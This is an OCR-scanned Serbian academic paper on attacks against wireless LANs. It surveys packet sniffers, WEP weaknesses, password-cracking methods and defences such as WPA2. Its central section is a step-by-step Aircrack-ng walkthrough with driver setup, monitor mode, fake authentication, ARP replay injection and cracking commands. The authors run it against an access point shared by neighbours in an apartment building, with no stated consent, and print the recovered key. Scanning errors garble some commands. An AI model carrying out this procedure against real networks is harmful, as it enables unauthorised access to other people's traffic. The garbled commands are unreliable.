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NAPADI NA BEZBEDNOST BEZICNIH LOKALNIH MREZA
ATTACKS ON SECURITY OF WIRELESS LOCAL AREA NETWORKS (WLAN)

Darko Dimitrijevi¢, Snezana Vulovi¢, Slobodan Jovanovi¢
Fakultet informacionih tehnologija, Metropolitan Univerzitet, Beograd, www.metropolitan.edu.rs

REZIME: Razvojem bezi¢ne tehnologije i porastom njenog koris¢enja raste i potreba da se bezbednost mreze dovede na Sto visi
nivo. Samom komunikacijom u bezi¢noj mrezi stvara se rizik da se ta komunikacija presretne. Najbolja metoda prisluskivanja
1 analize paketa kao i ekstrakcije SSID (Service set ID) u WLAN mrezama je pomocu Network Sniffer-a. Mrezni prisluskivaci
(Network sniffers) su aplikacije koje mogu da prate protok paketa kroz mrezu i pomocu njih je moguce saznati razne informacije
koje zanimaju korisnika, kao $to je SSID, Sta dati paket sadrzi i sl. U ovom radu bice detaljno prikazan konkretan napad na jednu
WLAN mrezu, pomocu softvera Aircrack-ng. Takodje, u radu se analizira Sta je WEP, metode prisluskivanja, tehnike probijanja
lozinke, koji se softveri koriste za napad na bezicnu mrezu, i kako se §to bolje zastititi od takvih napada.

KLJUCNE RECI: Prisluskivanje, Sifriranje, WLAN, WEP

ABSTRACT: Development of wireless technology and its increased use require the network security to be increased to the top
level. Any communication in the wireless network represents a risk for it to be intercepted. The best interception and analysis
method and SSID (Service set ID) extraction in WLAN networks is to use a Network Sniffer. Network sniffers are software
applications which are able to follow data flow in the network, and these applications enable extraction of various information,
eg. SSID, etc. This paper describes in details a concrete attack on a WLAN network, by using Aircrack-ng software. Also, this
paper discusses what is WEP, sniffing methods, attacks on passwords, and software for attacks on WLAN networks, and how

WLAN networks can be protected against attacks.
KEY WORDS: Sniffing, Encryption, WLAN, WEP

1. UVOD

Razvojem bezi¢ne tehnologije i porastom njenog koriséenja
raste i potreba da se bezbednost mreze dovede na Sto visi nivo.
Samom komunikacijom u bezi¢noj mrezi stvara se rizik da se
ta komunikacija presretne. Najbolja metoda prisluskivanja i
analize paketa kao i ekstrakcije SSID (Service set ID) u WLAN
mrezama je pomocéu Network Sniffer-a (Slika 1) [1,2]. Mrezni
prisluskivaci (Network sniffers) su aplikacije koje mogu da
prate protok paketa kroz mrezu i pomocu njih je moguce saznati
razne informacije koje zanimaju korisnika, kao $to je SSID.

Paketi u mreznoj komunikaciji stvoreni su da bi se brzina
mreza odrzala na visokom nivou, jer da se informacije izmedu
racunara Salju kao jedan tok podataka to bi u bilo kojoj malo
vecoj mrezi stvorilo veliki komunikacijski kolaps. Zato posto-
je paketi koji celu informaciju koja se Salje podele na manje
delove i Salju ih preko mreze do drugog racunara. Kada svi
ti paketi stignu na drugi racunar oni se spoje u jednu celinu.
Korisnik vidi kompletnu informaciju kao §to je npr. e-mail ili
neka internet strana i nema predstavu o tome koliko je paketa
poslato i $ta su sadrzali. Da bi neko mogao da vidi te pakete
on mora da ima network sniffer. Taj program ili uredaj, moze
se nazvati i nekom vrstom prisluskivaca koji ima mogucnost
Citanja 1 analiziranja paketa koji se kre¢u kroz racunarsku
mrezu u kojoj je on prisutan. Oni se mogu koristiti kako za
dobre tako i za lose stvari [3-5].

Pozitivan nacin koriS¢enja network sniffer-a je i ujedno
njegov primaran nacin kori$¢enja, a koji je odrzavanje mreza
i normalan rad sistema i to su [6,7]:

* Hvatanje paketa

* Snimanje i analiziranje saobracaja

* Desifrovanje paketa i prikazivanje Cistog teksta

» Konvertovanje podataka u ¢itljiv format

* Pronalazak mogucéeg upadaca

* Prikazivanje relevantnih informacija kao $to je IP, proto-

kol, ime hosta ili servera.

Negativne osobine su:

vvvvv

sniffing alata
 Hvatanje specijalne i privatne informacije ili transakcije,

kao sto je korisni¢ko ime, ID kreditne kartice, rauna i
lozinki

* Snimanje email-a ili poruka u chat-u

* Neki sniffer-i imaju moguénost i modifikacije informaci-
ja o ciljnom kompjuteru

* Da bi se dobio neki vi$i nivo pristupa sistemu.

Da bi sniffer mogao da radi kako treba, on mora biti u istoj
mrezi gde putuju podaci. Nemaju svi sniffing programi iste
funkcije. Neki sniffer-i mogu analizirati na stotine razli¢itih
protokola dok neki drugi mogu samo jedan ili dva. Najcesce
analizirani protokoli od strane sniffer-a su TCP/IP, IPX, DEC-
Net. Obicno, sniffer-i se koriste kao asistenti za menadzment
mreza. Njegove sposobnosti monitoring-a i analize nam mogu
pomo¢i oko odrzavanja mreze, otkrivanja upada, kontrole
saobrac¢aja ili nadgledanje mreznog sadrzaja. Ali te osobine
se mogu koristiti i od strane hakera kao alat za upadanje u
racunar. Sa $to vecim kori§¢enjem sniffer-a, postaje ironicno
da on postaje najveca prepreka za sigurnost na mrezi, iako je
najbolji alat za povecanje sigurnosti na mrezi.

U ovom radu bice prikazan konkretan napad na jednu
WLAN mrezu, upotrebom programa Aircrack-ng. Ovde se
daje detaljan uvid u to kako se ovakav napad moze sprovesti
u praksi, korak po korak, dok u relevantnoj literaturi se ne
daje tako detaljan opis ( u praksi je cela procedura napada
komplikovanija nego $to to izgleda u relevantnoj literaturi).
Takodje, u radu se analizira sta je WEP, metode prisluskivanja
i analize paketa, tehnike probijanja lozinke, koji se softveri
koriste za napad na bezi¢nu mrezu, i kako se Sto bolje zastititi
od takvih napada.
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Network sniffer
WLAN

Slika 1: Network sniffer

2. TEHNIKE PROBIJANJA LOZINKE
WLAN MREZAMA (PREVIOUS WORK)

Probijanje lozinki moze biti kako nemoguce tako i veoma
lako. Na to najveéi uticaj imaju ljudi koji su napravilu tu
lozinku (3ifru). Sto je lozinka komplikovanija to je teze da se
probije ili mozda ¢ak i nemoguce ako je dovoljno kompliko-
vana. Mnogi obi¢ni korisnici prave gresku Sto stavljaju previ-
Se jednostavne Sifre kao $to su na primer reci koji su napisani
samo malim slovima ili prave takode i proste kombinacije
kao $to na primer dodaju na kraju reci jedan broj. Statistika
pokazuje da izuzetno veliki broj ljudi imaju Sifre koje svaki
pametno da se mozda napravi jedna Sifra za sve naloge koje
korisnik poseduje ali dovoljno komplikovana da bude siguran
da je niko ne moze probiti.

Postoje razne tehnike probijanja lozinke na bezicnim
lokalnim mrezama, a u ovom radu izabrano je pet vrsta tehni-
ka koje se najc¢esce primenjuju, a to su:

* Dictionary Attack

* Brute Force

* FMS/Korek

* ChopChop

* PTW Attack

Dictionary Attack, ili na srpskom napad reénikom se sma-
tra jednim od najjednostavnijih napada koji postoje. On se,
kao sto 1 sam naziv kaze, bazira na re¢niku koji se koristi za
napad na lozinku. To funkcionise tako $to se u odgovarajuci
program ubaci re¢nik koji sadrzi moguce lozinke i program
ide redom kroz taj re¢nik sve dok ne nadje pravu lozinku.
Naravno, moguce je da re¢nik ne sadrzi traZzenu lozinku ali
uzimajucu u obzir da vecina ljudi pravi jednostavne lozinke
to je malo verovatno.

Brute force napad je strategija koja u teoriji moze da se
primeni na bilo koje kriptovane podatke. Ovakva vrsta napada
se obi¢no primenjuje kada nije moguce iskoristiti druge slabo-
sti enkripcionog sistema da bi se olaksao posao. Ovaj napad
podrazumeva da se isprobaju svi moguci kljucevi, odnosno
sve moguce kombinacije slova, broja i znakova sve dok se ne
dobije trazeni kljuc.

FMS' Attack [1]: Ovaj napad se zasniva na napadu RC4
algoritma koji se koristi kod WEP-a. Ova vrsta napada je
otkrivena 2001. godine od strane Fluhrer-a, tako §to su prona-
deni slabi kljucevi, koji se mogu koristiti za odredivanje mno-
gih stanja i izlaznih bitova sa velikom verovatno¢om. FMS
napad funkcioniSe tako $to se obraca paznja samo na prvi bajt
u RC4 nizu kljuceva.

KoreK napad opisuje sedamnaest razlic¢itih napada na WEP
koji mogu da se kategorizuju na sledeci nacin:

* Otkrivanje kljuca zasnovano na prvom bajtu u nizu klju-
¢a od PRNG (sliéno FMS napadu).

¢ Otkrivanje klju¢a zasnovano na prvom i drugom bajtu u
nizu kljuca od PRNG.

* Obrnuti napad - obrnuti metodi zbog smanjivanja pro-
stora trazenja.

Chopchop Attack: Umesto da iskoristi ranjivost u RC4
algoritmu, chopchop napada sam WEP protokol i dva nje-
gova propusta u dizajnu, naime njegov nedostatak zastite od
ponavljanja i slabost ICV-a (Integrity Check Value). lako nije
mnogo efikasan, on ima prakti¢nu primenu sa paketima koji
sadrze veliki broj poznatih podataka, kao $to su ARP paketi.

PTW Attack: U njihovom izdanju sa naslovom Razbiti
104-bitni WEP za manje od 60 sekundi, oni pretstavljaju
napad za potpuno otkrivanje kljuca koji ¢e uspesno otkriti
klju¢ sa 50% verovatnoce sa manje od 40000 frame-ova.

Posto je RC4 kriptografski algoritam za simetri¢nu enkrip-
ciju, to znaci da ne moze da se koristi dva puta isti klju¢ za
prenos podataka [1]. Svrha inicijalizacionog vektora (IV), koji
se Salje kao cist tekst, je da spreci bilo kakvo ponavljanje, ali
24-bitni IV nije dovoljno dugacak da bi obezbedio to u opte-
re¢enoj mrezi. Nacin na koji je kori$éen IV je takode otvorio
WEP za napad srodnih kljuceva.

WEP je sigurnosni protokol za IEEE 802.11 bezi¢ne
mreze, uveden kao deo originalnog 802.11 standarda ratifiko-
vanog 1999, sa namerom da obezbedi poverljivost podataka
komparabilnu sa onom kod tradicionalnih zi¢nih mreza. WEP
je bio sigurnosni standard implementiran u prve 802.11 bezic-
ne LAN mreze 1999. godine. WEP koristi RC4 algoritam za
poverljivost, i CRC-32 za integritet.

2003. godine je dokazano kroz razne eksperimente da je,
sa odgovaraju¢om opremom moguce bez ikakvih problema
prisluskivati WEP zasti¢ene bezi¢ne mreze [1]. Pored toga su
dokazana dva opsta propusta:

 Koris¢enje WEP-a je opcionalno, tako da se kod mnogih
instalacija nikad nije koristio;

* WEP nije sadrzao protokol za upravljanje klju¢evima,
umesto toga on se oslanjao na jedan deljeni klju¢ medu
korisnicima.

Postojinizsoftverskih paketa za napad: Kismet, NetStumbler,
Wireshark, Aircracking, itd.. Npr. Kismet [2] je detektor mreZe,
paket sniffer, i sistem za prepoznavanje upada za 802.11 bezicne
mreze. On je razli¢it od vec¢ine drugih detektora mreze zato §to
radi pasivno. To znaci da bez potrebe slanja bilo kakvih paketa
kroz mrezu on moze da pronade sve Access Point-ove i klijente
u mrezi i da ih udruzi jedne sa drugima. Kismet takode sadrzi
i osnovne bezicne IDS (Intrusion Detection System) osobine
kao sto je detektovanje aktivnog sniffing programa na bezi¢noj
mrezi. NetStumbler je alternativa Kismet-u za ljude koji vise
vole da koriste Windows operativni sistem posto je ovaj softver
pravljen da se koristi prevashodno na tom operativnom sistemu.
Sto se ti¢e samih funkcija NetStumbler-a, one su takoreéi iste
kao kod Kismet-a.

Wireshark [3] sluzi za analiziranje mreznih paketa. On
pokusava da uhvati mrezne pakete i da ih prikaze korisniku $to
je detaljnije mogucée. Wireshark ima slede¢e moguénosti:

* Dozvoljava uzivo praéenje i analiziranje paketa

* Ima mogucénost analiziranja prethodno snimljenih paketa
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* Moze da vrsi analizu paketa koje je uhvatio neki drugi
softver pod uslovom da taj drugi softver ima moguénost
Cuvanja tih podataka u formatu koji odgovara wiresharku

* Podrzava nekoliko tipova mreza, neke od njih su Ethernet,
IEEE 802.11, PPP...

» Uhvaceni mrezni podaci se mogu pregledati kroz GUI

* Ima moguénost koriS¢enja filtera i sortiranja radi lakSeg
snalazenja

Aircrack-ng [4] je skup alata za prisluskivanje bezic-

nih racunarskih mreza. Neki od njegovih glavnih alata su
airodump-ng, aireplay-ng, aircrack-ng. Svaki od ovih alata
ima svoju specificnu namenu pri prisluskivanju ra¢unarskih
mreza. Airodump-ng je program koji se koristi za prisluski-
vanje lokalnih bezi¢nih mreza i sakupljanje paketa iz njih.
Aireplay-ng sluzi da bi se lazno predstavili AP-u i za ubaciva-
nje paketa kojima mozemo da izazovemo odgovor AP-a tako
da time dobijamo jos viSe paketa pomocu kojih posle mozemo
da otkrijemo $ifru. Aircrack-ng je program po kome je i paket
dobio naziv zato §to on predstavlja glavni deo celog paketa.
Ovaj program se koristi da bi se saznala $ifra i on to radi na
dva moguca nacina. Prvi je koriste¢i FMS/Korek napad, a
drugi je noviji PTW napad, koji je mnogo brzi u odnosu na
sve druge napade na WEP.

& Home - PuTTY [_ O] =]

Slika 2: Prikaz Aircrack-ing prozora

Skoro je nemoguce da se primeti da li postoji neki network
sniffer u mrezi. To je pasivna radnja, posto se pristupa pake-
tima ali se ne menjaju. Postoje neki metodi kako moze da se
primeti da li postoji neki network sniffer ali oni nisu 100%
tacni. Jedan od nacina da se vidi da li postoji sniffer je to da se
desavaju dosta DNS pregleda (sniffer pokusava da pretvori IP
adrese u /ost imena), medutim to moze biti samo neka indika-
cija posto se ta situacija moze javiti i iz drugih razloga. Drugi,
bolji metod da se proveri da li postoji sniffer u mrezi je da se
posalje ARP zahtev prema tom uredaju na koji se sumnja da
bi se videlo da li je u otvorenom modu. Paket koji nije name-
njen vasem racunara bice zaustavljen na hardverskom nivou
ako otvoreni mod nije ukljucen. Uredaj koji najéesée pokrece
sniffer je mrezna kartica.

Kako se zastititi od napada sniffer-a na vas sistem? Za sada
ne postoji potpuno efikasno sredstvo koje bi sprecilo instalira-
nje i odbranu od sniffer-a na vas sistem. Mrezni administratori
treba dosta da se trude da bi uspeli da smanje Stetu koju neki
sniffer program moze da napravi. Neke od mogucnosti su
koris¢enje sledec¢ih tehnologija:

> 5 ~ =V &

* Switch, za razliku od hub-a zna koji su racunari povezani
preko njega i gde se nalaze.

* Enkripcija vasih podataka moze dosta poboljsati bezbed-
nost protiv napada sniffer-ima na vasu mrezu jer iako
sniffer moze sve pakete u mrezi da uhvati on ne moze da
ih dekodira i procita.

* WPA2 (WiFi Protected Access 2) koristi za Sifrovanje
sigurni AES (Advanced Encryption Standard). Pored
TKIP protokola je dodat i CCMP (Counter Mode / CBC
- MAC Protocol), koji se takode zasniva na AES. Ovako
osiguran WLAN se za sada ne moze probiti.

3. PRIMER NAPADA NA MREZU

Mrezu koju smo napali je AP (Access point) u stambenoj
zgradi koji se koristi od strane nekoliko komsija. Za napad na
bezi¢nu racunarsku mrezu bilo nam je potrebno sledece:

* Linux distribucija (Koristicemo Ubuntu)

* Bezi¢na mrezna kartica i drajver za nju (mi smo koristili
Intel PRO/Wireless 3945ABG sa ipwraw-ng-2.3.4 draj-
verom)

* Aircrack-ng 1.0

* Moramo biti dovoljno blizu Access Point-u da bi mogli
da primamo i Saljemo pakete. To $to mozemo da vidimo
AP ne znaci da i on moZe nas da vidi zato $to je obi¢no
signal Access Point-a jac¢i u odnosu na signal koji Salje
sama bezi¢na mrezna kartica.

* Mora postojati bar jedan klijent koji je povezan na taj
Access Point. To je zato $to se ova tehnika zasniva na
ARP paketima a ako nema nijednog aktivnog klijenta
nece biti nijednog ARP paketa.

Da bi bili u moguénosti da dobijemo WEP Sifru i uopste da
krenemo sa radom na tome, treba izvrSiti neke pripreme. Prva
stvar koju treba uraditi je da se skine odgovarajuéi drajver
za bezi¢nu mreznu karticu zato §to standardni drajveri koji
dolaze uz bezi¢nu mreznu karticu odgovarajuceg proizvodaca
ne podrzavaju monitor mode i packet injection. Drajvere koji
trebaju moraju da se potraze na internetu i isprobaju zato §to
postoje razli¢ite verzije drajvera za razli¢ite bezi¢ne mrezne
kartice. Za izabranu mreznu karticu odgovarajuci drajver
moze se naci na Internetu, na sledec¢em linku: http://homepa-
ges.tu-darmstadt.de/~p_larbig/wlan/ [5].

Da bi instalirali drajver bilo je potrebno izvrsiti sledece
linije koda:

sudo apt-get install build-essential
sudo apt-get install libssl-dev
wget http://dl.aircrack-ng.org/drivers/
ipwraw-ng-2.3.4-04022008.tar.bz2
tar -xjf ipwraw-ng*
cd ipwraw-ng
make
sudo make install
sudo make install ucode
echo “blacklist ipwraw” |
modprobe.d/ipwraw
sudo depmod -ae
sudo modprobe -r iwl3945
sudo modprobe ipwraw
sudo ifconfig wlan0O up
airmon-ng start wlanO

Nakon instaliranja drajvera i potrebnih podesavanja, bezic¢-
na mrezna kartica se nalazi u Monitor modu. U slu¢aju da zeli-

sudo tee /etc/

8

INFO M 47/2013




CINFO

CLANAK

P - g VA&

te da proverite da li se stvarno nalazi u monitor modu a ne kao
$to je standardno u Managed modu to mozete ucinite unosom
komande iwconfig (slika 3).

wifie unassociated ESSID:off/any

Mode:Monitor Channel=1 Bit Rate=54 Mb/s

Slika 3: iwconfig prikaz monitor mode-a

Kada zakljucite da je bezicna mrezna kartica u monitor
modu moze se uraditi test ubacivanja paketa u mrezu da bi bili
sigurni da nasa kartica moze da ubaci paket u mrezu. To se
moze uraditi tako Sto se izvrSe slede¢e komande u terminalu:

aireplay-ng -9 wifiO
aireplay-ng -9 127.0.0.1:666

One su dale potvrdnu poruku “Injection is working”.

Pronalazak svih Access Point-ova pomocu airodump-ng:

Slede¢i korak u napadu je pronalazak MAC adrese Access
Point-a ili Wireless router-a. Tu informaciju nalazimo izvrsa-
vanjem slede¢e komande u terminalu:

sudo airodump-ng wifiO Rezultat ove komande
je sledeti:

BSSID PWR Beacons
80:082:72:51:DB:28 L] 4 a

#Data, #/5 CH MB ENC CIPHER AUTH ESSID
@ 11 54 WEP WEP datel

Slika 4: Prikaz airodump-ng rezultata pretrage

Na Slici 4. mozete videti detalje o Access Point-u koji je
u naSem okruzenju i od kog mozemo da uhvatimo signal. Sa
leve strane se nalazi njegova MAC adresa, dok sa desne strane
stoji ime tog AP-a. Ovde mozemo i saznati na koji nacin je
zaSticena mreza i koji kanal koristi. Sada kada smo saznali
MAC adresu i ostale detalje o Access Point-u mozemo nasta-
viti dalje ka deSifrovanju WEP-a.

Sakupljanje inicijalizacionih vektora:

Postoje dve moguénosti sakupljanja inicijalizacionih vektora:

 Ubacivanjem paketa, pomocu kojih dobijemo brze odgo-
vore od access point-a i time brze sakupimo potrebnu
koli¢inu I'V-a

* Prisluskivanje mreze, koje se primenjuje ako nemamo
mogucénost da ubacujemo pakete u mrezu

Objasni¢emo i jednu i drugu varijantu rada, ali za na$ pri-
mer koristili smo prisluskivanje mreze.

Pokretanje airodump-ng za
prikupljanje inicijalizacionih vektora:

Sada kada ste sakupili sve bitne parametre koji su potrebni
da bi pokrenuli napad na mrezu (MAC adresa, Kanal, ime...)
i podesili bezi€nu mreznu karticu u monitor mode, vreme je
da krenemo sa sakupljanjem inicijalizacionih vektora koji se
nalaze u paketima koje Salje Access Point. Ovo smo ucinili
pokretanjem airodump-ng-a podesen na kanal AP-a sa BSSID
filterom (MAC adresa AP-a).

Slede¢u komandu treba izvrsiti:

sudo airodump-ng -c 11 --bssid 00:02:72:51:DB:28
-w wepdump -i wifiO

Radi lakseg razumevanja koda objasni¢emo ga detaljnije:

* -c oznacava kanal koji se koristi

* --bssid je MAC adresa AP-a

e -w wepdump je naziv fajla u kome ¢emo sacuvati nase
inicijalizacione vektore

* -1 zna¢i da ho¢emo da sauvamo samo inicijalizacione
vektore a ostali podaci da se odbace

KoriSéenje aireplay-ng-a za
laznu autentifikaciju sa AP-om:

Zatim mozemo se povezati na bezi¢nu mrezu. Da bi AP
mogao da prihvati pakete koje Saljete vasa MAC adresa mora
biti udruzena sa AP-om. Ako to nije slucaj onda AP 3alje
“DeAuthentication” paket. U tom stanju svi paketi koji $aljete
bice ignorisani od strane AP-a. Sada smo se samo povezali sa
AP-om i time mu rekli da zelimo da komuniciramo sa njim. To
smo ucinili tako §to smo u terminalu ukucali slede¢i kod:

sudo aireplay-ng -1 0 -e datel -a
00:02:72:51:DB:28 -h 00:13:CE:EC:45:20
wifiO

* -1 znaci da je lazno prijavljivanje

* 0 pretstavlja vreme ponovnog udruzivanja u sekundama

* -¢ datel je naziv mreze

¢ -a je MAC adresa AP-a

*-h je vasa MAC adresa, odnosno ona pomocu koje se
pretstavljate AP-u

Pokretanje aireplay-ng-a u ARP
request replay modu za ubacivanje paketa:

Da bi smo uspeli sa nasim napadom na WEP potrebno je
da sakupimo dovoljno inicijalizacionih vektora, idealno bi bilo
oko 150000. Obi¢no, mrezni protok ne stvara toliku koli¢inu
I'V-a veoma brzo, zbog ¢ega smo primenili tehniku ubacivanja
paketa u mrezu, pomocu koje teramo AP da Salje ARP pakete
koji sadrze IV-ove, veoma brzo. Ovo nam dozvoljava da saku-
pimo dovoljan broj IV-ova za jedan relativno kratak vremenski
period. Da bi smo to uspeli pokrenuli smo aireplay-ng u ARP
request replay modu, a to smo ucinili tako §to smo uneli sle-
de¢i kod u terminal:

sudo aireplay-ng -3 ~-b 00:02:72:51:DB:28 -h

00:13:CE:EC:45:20 wifiO
* -b je MAC adresa AP-a
* -h je MAC adresa pomocu koje se pretstavljamo AP-u

Razbijanje WEP-a bez ubacivanja paketa:

U slucaju da smo u nemoguénosti da se povezemo sa
AP-om, ubacivanje paketa ne¢emo moci da izvedemo. Druga
solucija je da prisluskujemo mrezu, odnosno da pratimo kako
napreduje sakupljanje IV-ova koje smo pokrenuli ranije. Cilj
nam je da prikupimo barem 150000 u #Data koloni.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

09:02:72:51:0B:28 160 48 9147 56355 54 11 54 WEP WEP OPN  datel

Slika 5: Prikaz koliko je trenutno sakupljeno IV-a
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Kada pogledate kolonu RXQ (slika 5) videcete broj 48,
koji pretstavlja vrednost koliko je jak signal od AP-a do vaseg
raCunara. Vrednost ispod 80 se smatra previse niskom. Ako
ova vrednost dosta talasa to znaci da i vi imate slabu vezu.
Ovaj nacin prikupljanja I'V-a traje obi¢no oko 2 sata.

Pokretanje aircrack-ng-a zbog desifrovanja WEP kljuca
pomocu sakupljenih I'V-ova:

Kada se sakupi dovoljan broj IV-ova sledeci korak je desi-
frovanje WEP kljuca. Postoje dve metode pomoéu kojih to
mozemo da uradimo:

* PTW metoda

» FMS/Korek metoda

Da bi desifrovali WEP klju¢ otvorili smo nov terminal i
izvrsili jedan od sledeca dva koda:

sudo aircrack-ng -z -Db
dump*.1ivs

00:1A:92:77:BB:D9 wep-

sudo aircrack-ng -a 1 -0 -n 128 wepdump*.ivs

Prvi kod se koristi za PTW napad, a drugi za FMS/Korek.

Objasnjenje za prvi kod:

* -z stoji za PTW metod

* -b stoji za AP koji smo izabrali

» wepdump*.ivs selektuje sve fajlove koji pocinju sa wep-
dump a zavrSavaju se sa .ivs

Objasnjenje za drugi kod:

* -a stoji za FMS/Korek metod

* -n selektuje tip WEP kljuca, u nasem slucaju 128 bita

U napadu koji smo izveli koristili smo FMS/Korek metodu i
rezultat bi trebalo da izgleda kao na slici 6. Ovim smo uspesno
saznali koji je WEP kljuc i time uspesno zavrsili na$ napad.

Opening wepoutput-el.ivs
Read 79154 packets.

# BSSID ESSID Encryption

1 00:02:72:51:DB:28 datel WEP (79153 IVs)
Choosing first network as target.

Opening wepoutput-el.ivs
Attack will be restarted every 5000 captured ivs
Starting PTW attack with 79153 ivs.
KEY FOUND! [ 6C:75:62:6F:73 ] (ASCII: lubos )
Decrypted correctly: 188%

Slika 6: Rezultat desifrovanja WEP kljuca

4. ZAKLJUCAK

U ovom radu je prikazan napad na WLAN mrezu pomocu
softverskog alata Aircrack-ng. U radu je analizirano sledece:

» Metode prisluskivanja i analize paketa

* Tehnike probijanja lozinke

* Prednosti i mane WEP protokola

* Softver za napad

* Mere zastite od napada

* Konkretan napad na bezi¢nu mrezu

F o =

Ovde je dat detaljan uvid u to kako se ovakav napad moze
sprovesti u praksi, a u praksi cela procedura napada je kompli-
kovanija nego §to to izgleda u relevantnoj literaturi.

1z svega se moze zakljuciti da je WEP protokol prevaziden
i da je potrebno zastititi bezicnu mrezu novijim i sigurnijim
protokolima. Mozemo primetiti da je napad na bezi¢nu mrezu
koja je zasticena WEP protokolom u danasnje vreme lako
izvesti, odnosno lako je pronaéi njegovu Sifru (lozinku) ako
osoba poseduje barem neka osnovna znanja iz raCunarskih
mreza. Napadom koji je prikazan u radu zapazamo da se
veoma lako i $to je najbitnije, brzo dolazi do Zeljenog cilja.
Ali, takode, poboljSavanje zastite nad bezicnom mrezom je
lako ostvarivo uzimajuéi u obzir da su nam novije tehnologije
zastite uglavnom lako dostupne, i da ih danasnji router-i i
Access Point-i uglavnom imaju integrisane kao standard.

ZAHVALNICA:

Ovaj rad podrzan je od strane Ministarstva za nauku i
obrazovanje Srbije (Projekat 11144000).
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